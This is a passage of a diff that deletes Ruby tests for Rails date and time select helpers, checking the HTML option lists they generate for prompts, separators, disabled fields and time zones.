-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    expected << %(<option value="">Hour</option>\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-        expected << %(<option value="">Minute</option>\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", :prompt => true)
-  end
-
-  def test_time_select_with_custom_prompt
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
-    expected << %(<option value="">Choose hour</option>\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
-        expected << %(<option value="">Choose minute</option>\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'})
-  end
-
-  def test_time_select_with_disabled_html_option
-    @post = Post.new
-    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" />\n}
-
-    expected << %(<select id="post_written_on_4i" disabled="disabled" name="post[written_on(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-    expected << " : "
-    expected << %(<select id="post_written_on_5i" disabled="disabled" name="post[written_on(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, time_select("post", "written_on", {}, :disabled => true)
-  end
-
-  def test_datetime_select
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at")
-  end
-
-  def test_datetime_select_with_selected
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3" selected="selected">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</o [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12" selected="selected">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :selected => Time.local(2004, 3, 10, 12, 30))
-  end
-
-  def test_datetime_select_with_selected_nil
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
-    expected = '<input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="1"/>' + "\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", discard_year: true, selected: nil)
-  end
-
-  def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
-    # The love zone is UTC+0
-    mytz = Class.new(ActiveSupport::TimeZone) {
-      attr_accessor :now
-    }.create('tenderlove', 0)
-
-    now       = Time.mktime(2004, 6, 15, 16, 35, 0)
-    mytz.now  = now
-    Time.zone = mytz
-
-    assert_equal mytz, Time.zone
-
-    @post = Post.new
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at")
-  ensure
-    Time.zone = nil
-  end
-
-  def test_datetime_select_with_html_options_within_fields_for
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
-    output_buffer = fields_for :post, @post do |f|
-      concat f.datetime_select(:updated_at, {}, :class => 'selector')
-    end
-
-    expected = "<select id='post_updated_at_1i' name='post[updated_at(1i)]' class='selector'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='20 [...]
-    expected << "<select id='post_updated_at_2i' name='post[updated_at(2i)]' class='selector'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November [...]
-    expected << "<select id='post_updated_at_3i' name='post[updated_at(3i)]' class='selector'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option> [...]
-    expected << " — <select id='post_updated_at_4i' name='post[updated_at(4i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<op [...]
-    expected << " : <select id='post_updated_at_5i' name='post[updated_at(5i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option v [...]
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_datetime_select_with_separators
-    @post = Post.new
-    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
-    expected << "</select>\n"
-
-    expected << " , "
-
-    expected << %(<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n)
-    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " - "
-
-    expected << %(<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    expected << " - "
-
-    expected << %(<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n)
-    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
-  end
-
-  def test_datetime_select_with_integer
-    @post = Post.new
-    @post.updated_at = 3
-    datetime_select("post", "updated_at")
-  end
-
-  def test_datetime_select_with_infinity # Float
-    @post = Post.new
-    @post.updated_at = (-1.0/0)
-    datetime_select("post", "updated_at")
-  end
-
-  def test_datetime_select_with_default_prompt
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</opt [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</o [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009,  :prompt => true)
-  end
-
-  def test_datetime_select_with_custom_prompt
-    @post = Post.new
-    @post.updated_at = nil
-
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
-    expected << "</select>\n"
-
-    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
-    expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13"> [...]
-    expected << "</select>\n"
-    expected << " : "
-    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
-    expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13 [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
-  end
-
-  def test_date_select_with_zero_value_and_no_start_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
-  end
-
-  def test_date_select_with_zero_value_and_no_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    last_year = Time.now.year + 5
-    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
-  end
-
-  def test_date_select_with_zero_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :prefix => "date[first]")
-  end
-
-  def test_date_select_with_nil_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
-  end
-
-  def test_datetime_select_with_nil_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
